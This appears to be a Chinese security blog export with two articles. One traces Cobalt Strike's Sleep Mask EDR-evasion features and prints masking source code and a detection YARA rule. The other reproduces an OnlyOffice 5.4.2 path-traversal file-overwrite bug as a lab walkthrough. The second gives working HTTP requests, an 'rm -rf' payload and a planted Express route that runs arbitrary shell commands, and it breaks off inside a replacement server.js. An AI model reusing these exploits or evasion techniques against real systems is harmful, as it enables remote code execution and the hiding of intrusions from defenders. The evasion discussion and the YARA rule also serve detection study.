干杯Security

从Sleep Mask到Beacon Gate看现代EDR规避技术

Wed, 11 Jun 2025 09:56:00 +0800

原创鬼屋女鬼 2025-06-11 09:56 山东

好久没写文章了，开始今年的第一篇，顺便吐槽下，公众号这个排版真难用啊

好久没写文章了，开始今年的第一篇，顺便吐槽下，公众号这个排版真难用啊，话不多说，正文开始，今天主要来聊聊Cobalt Strike中的Sleep Mask

一、什么是Sleep Mask

Sleep Mask 是 Cobalt Strike 在内存中屏蔽和解除自身屏蔽的功能。主要目的是避免内存检测，但是Sleep Mask本身会被作为检测的一部分。

二、从 Sleep Mask 进化史看现代EDR规避

1、Cobalt Strike 4.4 首次加入Kit

2021年8月，Sleep Mask Kit 最初在 Cobalt Strike 4.4 中推出，提供自定义Sleepmask代码的能力，规避针对sleepmask本身的内存签名规则，默认大小为289字节

2、Cobalt Strike 4.5 Sleep Mask Update

2021年12月，Cobalt Strike 4.5 对Sleep mask进行了更新，Sleepmask能够加密Beacon使用的堆内存，从而规避BeaconEyes等针对堆内存特征的检测

从 289 字节增加到 769 字节，如果超过这个大小，将使用默认的Sleep Mask
堆内存加密

添加了新的 HEAP_RECORDS 数据结构
添加了指向现有 SLEEPMASKP 结构的 HEAP_RECORDS 数据结构的指针
添加了新的循环，用于屏蔽和取消屏蔽由 HEAP_RECORDS 结构标识的堆内存

源代码如下：

/******** 不要修改此文件开始 ********/
#include 
#define MASK_SIZE 13
/*
 *  ptr  - 指向已分配内存的基地址指针。
 *  size - 为ptr分配的字节数。
 */
typedef struct {
        char * ptr;
        size_t size;
} HEAP_RECORD;
/*
 *  beacon_ptr   - 指向Beacon基地址的指针
 *  sections     - Beacon想要掩盖的内存区段列表。
 *                 每个区段由起始和结束索引位置的对表示。
 *                 列表以起始和结束位置均为0的对结束。
 *  heap_records - Beacon想要掩盖的堆内存地址列表。
 *                 列表以HEAP_RECORD.ptr为NULL结束。
 *  mask         - Beacon随机生成用于掩盖的掩码
 */
typedef struct {
        char  * beacon_ptr;
        DWORD * sections;
        HEAP_RECORD * heap_records;
        char    mask[MASK_SIZE];
} SLEEPMASKP;
void sleep_mask(SLEEPMASKP * parms, void(__stdcall *pSleep)(DWORD), DWORD time) {
/******** 不要修改此文件结束 ********/
/******** 修改文件开始 ********/
        DWORD * index;
        DWORD a, b;
        /* 遍历区段并进行掩盖 */
        index = parms->sections;
        while (TRUE) {
                a = *index; b = *(index + 1);
                index += 2;
                if (a == 0 && b == 0)
                        break;
                while (a < b) {
                        *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
                        a++;
                }
        }
        /* 掩盖堆内存记录 */
        a = 0;
        while (parms->heap_records[a].ptr != NULL) {
                for (b = 0; b < parms->heap_records[a].size; b++) {
                        parms->heap_records[a].ptr[b] ^= parms->mask[b % MASK_SIZE];
                }
                a++;
        }
        pSleep(time);
        /* 取消掩盖堆内存记录 */
        a = 0;
        while (parms->heap_records[a].ptr != NULL) {
                for (b = 0; b < parms->heap_records[a].size; b++) {
                        parms->heap_records[a].ptr[b] ^= parms->mask[b % MASK_SIZE];
                }
                a++;
        }
        /* 遍历区段并取消掩盖 */
        index = parms->sections;
        while (TRUE) {
                a = *index; b = *(index + 1);
                index += 2;
                if (a == 0 && b == 0)
                        break;
                while (a < b) {
                        *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
                        a++;
                }
        }
        /******** 修改文件结束 ********/
}

注：仅在睡眠时间超过 2 秒时进行屏蔽和取消屏蔽

来自官方的效果图，但是依旧会被卡巴斯基扫描到

3、Cobalt Strike 4.7-4.9 Sleep Mask Refactoring

2022年8月，Sleep Mask以BOF形式重构，不再存放在beacon的.text部分，而是存放在bof使用内存。同年6月，基于线程池的睡眠混淆技术Ekko发布，这使得在完成对Beacon相关内存加密后，再对Sleep Mask本身进行加密成为可能，这项技术后续被加入到 Sleep Mask Kit中

整个文件目录如下

beacon.h：定义可用的内部beacon api
bofdefs.h：定义 Windows API 的动态函数解析原型
cfg.c：CFG保护绕过，仅限x64，使用evasive_sleep和evasive_sleep_stack_spoof弃用
common_mask.c：常见屏蔽函数
evasive_sleep.c：使用 CreateTimerQueueTimer 混淆Sleep Mask自身，仅限X64
evasive_sleep_stack_spoof.c：添加了堆栈欺骗的evasive_sleep，仅限X64
log_sleepmask_parms.c：将信息记录到beacon console
mask_text_section.c：睡眠之前屏蔽.text部分
sleepmask.c：定义默认Sleep Mask类型的Sleep Mask函数
sleepmask_pivot.c：定义pivot Sleep Mask类型的Sleep Mask函数
syscall.h：syscall相关头文件
syscalls_embedded.c：使用嵌入式方法实现syscall
syscalls_indirect.c：使用间接syscall
syscalls_indirect_randomized.c：使用indirect_randomedical方法实现syscall

更详细的以及一些注意事项，参考Sleep Mask Kit中的README.md，这里就详细分析关键代码

（1）加密内存区段、堆内存、Sleepmask bof 自身

首先是sleepmask.c，代码中存在一个sleep_mask函数，该函数根据用户的配置以及编译选项，来加密beacon的内存区段、堆内存以及是否加密sleep mask bof 自身。

加密函数mask_sections和mask_heap在common_mask.c文件中定义，mask_sections函数通过遍历SLEEPMASKP结构中的区段数组, 对每个区段调用mask_section函数来实现加密或解密操作，

mask_section函数用于xor加密或解密内存区段，接受三个参数：一个SLEEPMASKP指针和两个指定内存区段起始和结束位置的值

可以修改此处的异或加密方式，例如


void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
   char key[] = "fjsihwisf349saf0";
   size_t key_lenght = sizeof(key) - 1;
   while (a < b) {
      *(parms->beacon_ptr + a) ^= key[a % key_lenght];
      a++;
   }
}

mask_heap函数对分配的堆内存进行加解密操作

（2）修改.text属性

首先调用setup_text_section函数确定Beacon中.text的位置，然后根据Profile文件配置中stage.userwx设置来决定是否掩码.text

接下来使用

mask_text_section

和

unmask_text_section

函数来修改

.text

的属性，根据用户选项，如果使用syscall则用

NtProtectVirtualMemory

函数修改内存属性，否则使用

VirtualProtect

函数修改内存属性

（3）利用CreateTimerQueueTimer 混淆Sleep Mask自身

在

sleepmask.c

中，将

EVASIVE_SLEEP

设置为

，将使用Ekko混淆Sleep Mask自身

在下面的EVASIVE_SLEEP部分，我们可以选择是用默认的EVASIVE_SLEEP还是使用添加堆栈欺骗的EVASIVE_SLEEP

需要注意此处的#define CFG_BYPASS 0的配置，默认情况下，使用EVASIVE_SLEEP功能会禁用CFG_BYPASS，如果需要进程注入，注入到受CFG保护的进程中，那么就需要把#define CFG_BYPASS设置为1，

evasive_sleep

函数，主要通过创建一系列的计时器，计时器在触发时使用

NtContinue

函数来将控制权转移到先前准备好的

CONTEXT

结构中指定的地址，

NtContinue

函数，其主要功能是恢复线程的上下文，其参数指向一个

CONTEXT

结构体的指针，该结构体包含线程的寄存器和其他信息

其中加密使用

SystemFunction032

函数，该函数实现了RC4加密算法，可同时用于加密和解密，接收数据和密钥结构作为参数，配合

VirtualProtect

来实现对sleepmask代码进行加解密

再次回到CFG的问题，为什么会触发CFG保护呢，先来看一下微软的介绍，再次回到我们的代码中CreateTimerQueueTimer 指向的回调例程是 NtContinue，它位于启用 CFG 时无法间接调用的特殊函数列表中。间接函数调用是从程序调用堆栈之外的另一个函数启动的调用。

CFG中不允许的函数调用，此处是ntdll中

那么此处的CFG_BYPASS，就是使用 markCFGValid_nt 函数调用 NtSetInformationVirtualMemory，将 NtContinue 添加到 CFG 允许列表从而绕过CFG保护

不同的操作系统，tVmInformation 数据结构的大小不同，在某些环境下会导致崩溃，因此官方给出了一个默认注释的代码，利用 NtSetInformationVirtualMemory 函数实现了一个循环，直到找到合适的大小。

（4）堆栈欺骗

写累了，涉及的知识点比较多，等下一篇再详细介绍吧

4、Mutator Kit（Sleep Mask mutated ）

之前的方法是运行时对Sleep Mask自身进行混淆（evasive sleep mask），也就是Ekko Sleep Obfuscation，这会大大增加我们被检测的概率，在某些环境下，用了Ekko反正直接被检测。除此之外还要考虑CFG（Control Flow Guard）保护问题，在某些环境下会直接崩溃。我本人非常不喜欢Ekko，有多远踢多远。

所以后面官方推出了Mutator Kit，主要目的是通过LLVM的代码变异技术，动态生成每次都不同的sleep mask，从而避免被基于静态特征的YARA签名检测到。

Mutator Kit利用LLVM的中间表示（IR）代码，应用多种变异passes（包括替换等价运算符、插入虚假控制流块、代码扁平化、基本块拆分等）对sleep mask的代码结构和机器码进行变异。这样生成的sleep mask在功能上等价，但机器码层面差异巨大，难以被静态签名准确识别

具体作用包括：

生成每次都唯一的sleep mask，避免YARA等静态签名检测。
通过多种LLVM混淆通道，增强代码多样性和混淆度。
提供命令行和Cobalt Strike客户端集成的使用方式，方便自动化应用变异。
支持对其他Beacon Object Files（BOFs）进行类似变异，提高整体操作安全性（OPSEC）。

默认的sleep mask Kit每次编译后的的.text段完全一致，YARA签名可以直接匹配其特定的机器码指令序列，从而检测Sleepmask，


// [1] Build the sleepmask.
$ ./build.sh 49 WaitForSingleObject 
true
 none /tmp/dist 
[ ... ] 
[Sleepmask kit] [*] Compile sleepmask.x64.o 
[ ... ]
// [2] Use objdump to find the text section size.
$ objdump -h sleepmask.x64.o 
 sleepmask.x64.o:     file format pe-x86-64 
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         00000200  0000000000000000  0000000000000000  00000104  2**4
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
// [3] Extract the .text section.
// NB skip is the offset('File off') of the .text section 
// from objdmp and count is the size of the section 
// e.g. python -c 'print(int("104", 16))' == 260.
$ dd 
if
=sleepmask.x64.o of=sleepmask1.bin skip=260 count=512 bs=1 
// [4] Calculate shasum.
$ shasum sleepmask1.bin 
4f7813a6aae018a4cf6a78040d9c20024b5a83da  sleepmask1.bin 
// [5] Repeat the steps again to build another sleep 
// mask and extract/hash the .text section - the hash is identical!
$ shasum sleepmask2.bin 
4f7813a6aae018a4cf6a78040d9c20024b5a83da  sleepmask2.bin

比如说 Elastic 针对sleepm mask的 YARA扫描规则，Windows_Trojan_CobaltStrike_b54b94ac，它在默认Sleep mask中查找以下操作码模式：0x4C 0x8B 0x53 0x08


mov r10, [rbx+0x08] 
mov r9d, [r10] 
mov r11d, [r10+0x04] 
lea r10, [r10+0x08] 
test r9d, r9d 
jnz 0x0000000000000007 
test r11d, r11d 
jz 0x0000000000000035 
cmp r9d, r11d 
jnb 0xFFFFFFFFFFFFFFE8 
mov rdi, r9 
mov r8, [rbx]

Windows_Trojan_CobaltStrike_b54b94ac规则:


rule Windows_Trojan_CobaltStrike_b54b94ac {
    meta:
        author = "Elastic Security"
        id = "b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca"
        fingerprint = "2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8"
        creation_date = "2021-10-21"
        last_modified = "2022-01-13"
        description = "Rule for beacon sleep obfuscation routine"
        threat_name = "Windows.Trojan.CobaltStrike"
        reference_sample = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
        severity = 100
        arch_context = "x86"
        scan_context = "file, memory"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $a_x64 = { 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03 }
        $a_x64_smbtcp = { 4C 8B 07 B8 4F EC C4 4E 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 38 10 42 30 0C 06 48 }
        $a_x86 = { 8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2 }
        $a_x86_2 = { 8B 06 8D 3C 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 32 08 30 07 41 3B 4D 08 72 E6 8B 45 FC EB C7 }
        $a_x86_smbtcp = { 8B 07 8D 34 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 3A 08 30 06 41 3B 4D 08 72 E6 8B 45 FC EB }
    condition:
        any of them
}

Beacon 休眠时，sleep mask在内存中可见

使用 Mutator Kit 生成Sleep mask，来自官方的默认 sleep mask 和mutated sleep mask 中相同函数的调用对比图

详细的配置和说明参考官方文章：

https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm

5、Cobalt Strike 4.10 BeaconGate with Custom Sleepmask BOFs

2024年7月，Sleepmask-vs发布，支持添加堆栈欺骗等等，配合beacongate使的规避性更强

在过去几年中，异常 API 调用的检测逻辑急剧增加。例如syscall-detect、MalMemDetect、Hunt-Sleeping-Beacons和pe-sieve等开源项目都展示了从未支持的内存中搜寻可疑 API 的调用。此外，Elastic 凭借异常的调用堆栈检测逻辑推动了防御行业的向前发展，这些都给红队操作带来了巨大挑战。之前Cobalt Strike难以应对这些检测，特别是无法基于Beacon的系统调用实现细粒度控制，只能通过复杂的IAT hooking实现。

因此，BeaconGate正式诞生，先来看下官方的定义，从高层来看，睡眠掩码在概念上类似于远程过程调用（RPC），尽管在相同的进程地址空间内。例如，当Beacon睡眠时，它将调用Sleepmask BOF、mask和sleep。Beacon在这里充当“客户端”，Sleepmask是代表Beacon执行Sleep调用的“服务器”。在Cobalt Strike 4.10中，我们已经将这一想法推到了合乎逻辑的结论，Sleepmask现在支持执行任意函数。因此，现在可以配置Beacon转发其Windows API调用，以便通过Sleepmask（又名Beacon Gate）执行

长话短说，官方说了那么多其实总结下来就是，BeaconGate 使用户能够自定义 Beacon 调用 WinAPI 函数的方式。 配置并启用BeaconGate 后，Beacon 将代理其 Windows API 调用，以通过 Sleepmask 执行（即类似于远程过程调用）

BeaconGate 工作原理的高级示意图

目前beacongate支持的的调用API如下：

可以通过Profile选项来配置 BeaconGate


stage { 
    beacon_gate { 
          All; 
    } 
}

简单解读下代码，

当 API 调用代理到 Sleep Mask 时，相关数据将保存在结构中。

FUNCTION_CALL

BeaconGate 目前最多支持 10 个参数

那么怎么添加堆栈欺骗已经显而易见了

如果想要使用自定义睡眠函数，只需要修改sleep.cpp即可

例如，此处的MySleep() 的实现依赖于对 IO 对象实现等待，那么也可以自己塞个Ekko或者Foliage，个人感觉意义不大。

如果拿BeaconGate和Brute Ratel C4的自定义堆栈帧做对比，我们会发现完全是2个极端：

Cobalt Strike是越来越透明支持自定义，让操作员可以做到完全自定义可控，这也是为什么cobalt strike 明明有这么多检测规则，依然无法做到完全检测，水平高的操作员依旧可以利用Cobalt Strike提供的自定义插件规避顶级EDR
Brute Ratel C4在引入自定义堆栈帧后，表面上自带开箱即用的规避，但是需要用户自行去自定义，那么就意味着你要自己测试，再次又把问题再次抛给了用户，违背了一开始的开箱即用的规避的理念，只能说脚本小子有福了

这几天官方又发布了新文章，对Sleepmask-vs进行了更新，使用clang来编译内敛汇编，彻底提供了傻瓜式自带开箱即用规避的 Sleep Mask，官方文章

https://www.cobaltstrike.com/blog/instrumenting-beacon-with-beacongate-for-call-stack-spoofing

来自官方的配置图，根据用户选项应用不同的sleepmask，包括默认 Sleep Mask、间接syscall的Sleep Mask、带返回地址欺骗的Sleep Mask（执行X86）、带合成帧的Sleep Mask

至于具体的效果如何，那不得而知

6、Cobalt Strike 4.11 New default Sleep Mask

2025年3月，在Cobalt Strike 4.11版本中，官方添加了一个全新的 Sleep Mask，在之前的版本中，Cobalt Strike 的"evasive sleep"功能已包含在 Arsenal Kit 中，它基于经过修改的开源技术（Ekko），因此需要进行大量定制修改才能与 Beacon 配合使用，全新的Sleep mask将对 Beacon、其堆分配以及自身进行混淆，这意味着 Beacon 在运行时能够抵御静态签名，开箱即用无需任何额外配置。

总结下来就是 Cobalt Strike 4.11提供了一个全新的默认Sleep mask，如果你不具备任何开发能力，那么可以直接使用这个全新的默认Slee pmask，如果不想使用这个默认Sleep mask，那么也可以继续使用Arsenal Kit 中提供的Sleep mask Kit 或者Sleep mask-vs进行自定义开发。

阅读官方的文章，总结如下：

针对不具备开发能力的操作员，提供了开箱即用的规避，降低了使用门槛
针对不想用官网提供的规避的操作员，依旧可以使用插件定制开发属于自己的Cobalt Strike

至于其他的就是将Beacon 的默认反射加载器移植到一个新的 prepend/SRDI 样式加载器中，并添加了几个新的规避功能：

EAF 绕过选项，stage.set eaf_bypass “true”
支持间接系统调用，stage.set rdll_use_syscalls “true”
支持自动将复杂的混淆程序应用于 Beacon，stage.transform-obfuscate {}

其中 transform-obfuscate 是最大亮点，可以直接混淆Beacon，也就是说现在生成的shellcode是可以直接无视静态查杀的

例如下面的选项将压缩 Beacon ，使用随机的 64 位密钥对其进行rc4 加密，并使用随机的 32 位密钥对其进行 xor 运算，最后再对其进行 base64 编码


stage {
    transform-obfuscate {
        lznt1;
        rc4 “64”;        # NB The max supported rc4 key size is 128
        xor “32”;        # NB The max supported xor key size is 2048
        base64;
     }
}

至于很详细的还是直接看官方文章（https://www.cobaltstrike.com/blog/cobalt-strike-411-shh-beacon-is-sleeping）吧，至于什么时候能用上4.11，4.10都还没泄露呢，洗洗睡吧，梦里什么都有。

三、最终回（闲聊几句）

让我们再次回到Cobalt Strike 4.91，那么根据上面的这些知识，我们可以实现在不启用 evasive sleep mask 情况下实现堆栈欺骗，让我们的堆栈看起来合法

如图：

默认的sleepmask 堆栈，会出现内存地址

修改后的sleepmask 堆栈

Windows 10 效果

Windows 11（evasive_sleep_stack_spoof中自带的堆栈欺骗，在windows 11上不生效）效果

那么如何修改，相信大家看图就知道了，这里就不给代码了，拒绝伸手党，正所谓自己动手丰衣足食

写在最后

如果上个线就是免杀了，那么人均都是免杀大师，这个吊圈子就这样，上个线就是过了，演示嘎嘎过，实战落地没。

对抗终是末路，检测才是王道。

比如说某检测规则，可以做到通杀国内95%以上只会写Loader的脚本小子以及他们用的所谓的二开CS。如图，是不是感受到来自最新天擎的恐惧了

至于怎么检测Sleep Mask，相信聪明的你已经想到了

阅读原文

跳转微信打开

OnlyOffice低版本漏洞复现与分析

Tue, 09 Jan 2024 01:23:00 +0800

原创 Axx07F 2024-01-09 01:23 山东

前言：OnlyOffice 远程RCE&命令执行

前言：OnlyOffice 是一款办公套件软件，提供了文档编辑、电子表格、演示文稿等功能，类似于 Microsoft Office。它支持多人协作编辑，可以在云端或者私有服务器上部署，适合个人用户、团队和企业进行办公任务。只要有合适的许可证，用户可以在不同的平台上访问 OnlyOffice，包括桌面端、Web 界面和移动设备。

OnlyOffice 最初由 Ascensio System SIA 开发，它提供了广泛的功能，可以满足各种办公需求。在云端部署方面，OnlyOffice 还可以与其他协作工具和平台集成，以实现更全面的工作流程。

0x01：OnlyOffice5.4.2.46低版本搭建

这里是基于docke去搭建的：

1. 拉取5.4.2.46版本onlyoffice/documentserver镜像

docker pull onlyoffice/documentserver:5.4.2.46

2.创建容器

docker run -i -t -d -p 9000:80 --name chineseonlyoffice_documentserver --privileged=true onlyoffice/documentserver:5.4.2.46 /usr/sbin/init

因为我这里是基于docker_gui的(方便更好的去更改文件或者读取代码)：

项目搭建成功：

ps:搭建过程中名称可能会出现问题，因为docker镜像名称不允许使用/，我们可以使用_去代替。

0x02:漏洞分析&复现：

一般程序员没有刻意设置的话，我们直接访问http://localhost:9000/index.html就可以看到版本号：

这里我们先使用前辈使用的exp进行利用：

https://github.com/moehw/poc_exploits

要利用该漏洞，攻击者必须使用特制的请求来服务器，它将用受控数据覆盖任意文件。如果其中之一服务的可执行文件被这次攻击覆盖，那么有以下效果：- 攻击者对服务器的下一个请求会导致执行来自服务器的新文件上一步，这将导致远程代码执行 - 缺少正确的可执行服务文件会导致拒绝服务

由于将文件保存到，“uploadImageFile”函数中发生文件覆盖 “strPath”变量中指定的路径，它是以下值的串联其他几个字符串，其中最后一个（“formatStr”）由攻击者控制当满足某些条件时：- “isValidJwt”为真 - “docId”和“加密”出现在 JWT 令牌中 - 请求正文中有一个缓冲区，文件将被覆盖到该缓冲区 - 缓冲区必须以文本“ENCRYPTED;”开头，然后是带有相对路径的字符串服务器媒体目录（“/var/lib/onlyoffice/documentserver/App_Data/cache/files/ /media/”默认情况下）覆盖文件进而 ”;”。

使用该POC验证我们的目标时，文件上传都无法成功。分析发现CVE-2021-3199 是利用的uploadImageFile方法，存在一定的限制。

uploadImageFile方法中，formatStr变量来自于根据文件内容进行识别。如果encrypted为true，那么就会从post body中解析出formatStr，从而实现控制文件名。

而encrypted需要配置了cfgTokenEnableBrowser，"Directory traversal with Remote Code Execution when JWT is used in Document Server before 5.6.3"，需要配置了JWT时才能利用，Docker环境默认未启用，目标也未启用。

所以我们需要从代码层面来进行漏洞利用以及构建payload，漏洞分析我们需要把代码弄出来，这里我们直接从dokcer里复制出来：

1、从主机往容器中拷贝
eg：将主机/www/runoob目录拷贝到容器96f7f14e99ab的/www目录下。
docker cp /www/runoob 96f7f14e99ab:/www/
2、将容器中文件拷往主机
eg：将容器96f7f14e99ab的/www目录拷贝到主机的/tmp目录中。
docker cp  96f7f14e99ab:/www /tmp/
eg:将主机/www/runoob目录拷贝到容器96f7f14e99ab中，目录重命名为www。
docker cp /www/runoob 96f7f14e99ab:/www

等依赖加载完毕，我们就可以看到相关代码：

这里我们可以看到通过访问代码相关暴露的接口来访问相关的API

DocService/sources/server.js 存在一个savefile路由，看到这名字就能猜到是文件上传相关的路由：

mac按command，win按ctrl我们点击黄色的savefile定位到代码逻辑里：

首先对cmd参数进行了一次JSON解析，由于默认未开启cfgTokenEnableBrowser，所以可以直接跳过中间一部分。

最后调用了storage.putObject方法写文件，

文件地址cmd.getSaveKey() + '/' + cmd.getOutputPath()

文件内容来源于req.body ，也就是POST body。

cmd变量来自于对cmd参数值的JSON解析，在yield* addRandomKeyTaskCmd(cmd)方法中，

调用了savekey setter，随机生成taskkey再重新设置savekey属性值，导致不再可控。虽然savekey无法控制，但是outputpath没有被重新设置，还是来源于参数值，所以这里通过outputpath可以实现目录穿越到任意地址写文件。

让我们使用bp抓包去测试：

poc:

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../tmp/111.txt"} HTTP/1.1Host: 10.37.129.2:9000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 4{}

成功写入，并且是覆盖形式的写入：

Tips: 这里我自己遇到两个坑点：

1）bp抓包的时候抓不到本地的包，那我们可以更改浏览器的插件取消这些不代理的列表，当然也可以查案自己的电脑网卡，来通过非localhost和非127.0.0.1去抓取。

2）在构造poc的时候，因为查看大佬的文章导致自己直接断行，poc发送不出去，这里要注意，一般我们格式正确的话，bp是会有着重颜色的辅助的：

通过进入docker查看发现是一个ds的用户启动的onlyoffice，跑express的用户为ds, web下的文件所属用户也都为ds，那么可以通过覆盖web的一些文件实现RCE。

首先会想到覆盖js文件，新增路由实现RCE，但是比较麻烦的是node需要重启才会加载上新增的路由，而我们暂时无法做到让目标重启。

既然不能重启，那么很容易就能想到通过覆盖模板文件再通过SSTI RCE，覆盖模板文件后不需要重启服务即可利用，不过最后发现onlyoffice根本就没用到模板。

至此，只能找OnlyOffice中是否存在命令执行调用elf的路由，通过任意文件写覆盖elf来实现命令执行。

存在一个docbuilder路由，看名字应该是用来生成文档的，该路由方法的实现代码大概如下:

简单点说就是在ExecuteTask方法中，会通过spawnAsync命令执行方法调用 /var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF来生成文档，docbuilder文件所属用户也是ds，那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF，再通过docbuilder路由触发我们上传的ELF。

我们先把docbuilder文件备份一下，养成良好习惯：

docker cp  96f7f14e99ab:/www /tmp/

然后我们理一下思路：我们需要：

1>新增一个路由

2>重启服务（通过supervisorctl来实现）,web通过访问docbuilder接口实现

3>通过访问路由来进行命令回显示

Supervisor 进程管理工具： Supervisor 是一个用于管理和监控进程的工具，特别适用于在 Unix-like 操作系统中管理长时间运行的后台进程。它允许用户启动、停止、重启以及监视进程的状态。

"supervisorctl" 是 Supervisor 进程管理工具的命令行界面，用于与 Supervisor 守护进程进行交互，以管理和监控运行在系统中的各种进程。Supervisor 是一个在 Unix-like 操作系统中常用的工具，它可以帮助你管理和监控后台运行的进程，确保它们持续稳定地运行。

通过 "supervisorctl" 命令，你可以执行以下操作：

启动进程： 使用 start 命令可以启动一个由 Supervisor 管理的进程。
停止进程： 使用 stop 命令可以停止一个正在运行的进程。
重启进程： 使用 restart 命令可以重新启动一个进程，即先停止再启动。
重新加载配置： 使用 reread 命令可以重新加载 Supervisor 的配置文件，以便应用最新的更改。
重新启动配置： 使用 update 命令可以重新启动 Supervisor 以应用配置文件的更改。
查看进程状态： 使用 status 命令可以查看所有被 Supervisor 管理的进程的状态，包括运行状态和进程 ID 等信息。
查看日志： 使用 tail 命令可以查看进程的日志输出。
进入进程控制台： 使用 fg 命令可以进入某个进程的控制台界面，从而可以与进程进行交互。

包括这里在docker里也是用supervisor进行管理的服务

接下来我们进行实际的操作：

首先我们需要写一个可以支持命令回显的路由：

app.all('/runExec.json', (req, res) => {   const spawn = require('child_process').spawn;   var username = req.query.username ? req.query.username: req.header("username");   if(!username){    res.send("empty para!");   }else {    const cmd = spawn('sh', ['-c', username]);    var result = "";    cmd.stdout.on('data', (data) => {     result += data;    });
    cmd.on('close', (code) => {     res.send(result);     return res.end();    })   }  });

首先我们需要先把server.js下载下来，可以通过docker cp命令把代码弄下来，实战情况下我们可以寻找特定版本的代码来进行审计添加，因为savefile目前只可以达到写文件功能：

因为我自己测试无法覆盖，所以我们需要先删除这个server.js（记得备份一下）

第一个包(删文件)：

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1Host: 10.37.129.2:9000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 3
rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js

执行下路由；

第二个包(写路由)：

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1Host: 10.37.129.2:9000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 3
echo "/*
 * Copyright (C) Ascensio System SIA 2012-2019. All rights reserved
 *
 * https://www.onlyoffice.com/ 
 *
 * Version: 5.4.2 (build:46)
 */

'use strict';

const cluster = require('cluster');
const configCommon = require('config');
const config = configCommon.get('services.CoAuthoring');
const logger = require('./../../Common/sources/logger');
const co = require('co');
const license = require('./../../Common/sources/license');

if (cluster.isMaster) {
	const fs = require('fs');
	let licenseInfo, workersCount = 0, updateTime;
	const readLicense = function*() {
		licenseInfo = yield* license.readLicense();
		workersCount = Math.min(1, licenseInfo.count/*, Math.ceil(numCPUs * cfgWorkerPerCpu)*/);
	};
	const updateLicenseWorker = (worker) => {
		worker.send({type: 1, data: licenseInfo});
	};
	const updateWorkers = () => {
		const arrKeyWorkers = Object.keys(cluster.workers);
		if (arrKeyWorkers.length < workersCount) {
			for (let i = arrKeyWorkers.length; i < workersCount; ++i) {
				const newWorker = cluster.fork();
				logger.warn('worker %s started.', newWorker.process.pid);
			}
		} else {
			for (let i = workersCount; i < arrKeyWorkers.length; ++i) {
				const killWorker = cluster.workers[arrKeyWorkers[i]];
				if (killWorker) {
					killWorker.kill();
				}
			}
		}
	};
	const updatePlugins = (eventType, filename) => {
		console.log('update Folder: %s ; %s', eventType, filename);
		if (updateTime && 1000 >= (new Date() - updateTime)) {
			return;
		}
		console.log('update Folder true: %s ; %s', eventType, filename);
		updateTime = new Date();
		for (let i in cluster.workers) {
			cluster.workers[i].send({type: 2});
		}
	};
	const updateLicense = () => {
		return co(function*() {
			try {
				yield* readLicense();
				logger.warn('update cluster with %s workers', workersCount);
				for (let i in cluster.workers) {
					updateLicenseWorker(cluster.workers[i]);
				}
				updateWorkers();
			} catch (err) {
				logger.error('updateLicense error:\r\n%s', err.stack);
			}
		});
	};

	cluster.on('fork', (worker) => {
		updateLicenseWorker(worker);
	});
	cluster.on('exit', (worker, code, signal) => {
		logger.warn('worker %s died (code = %s; signal = %s).', worker.process.pid, code, signal);
		updateWorkers();
	});

	updateLicense();

	try {
		fs.watch(config.get('plugins.path'), updatePlugins);
	} catch (e) {
		logger.warn('Plugins watch exception (https://nodejs.org/docs/latest/api/fs.html#fs_availability).');
	}
	fs.watchFile(configCommon.get('license').get('license_file'), updateLicense);
	setInterval(updateLicense, 86400000);
} else {
	logger.warn('Express server starting...');

	const express = require('express');
	const http = require('http');
	const urlModule = require('url');
	const path = require('path');
	const bodyParser = require("body-parser");
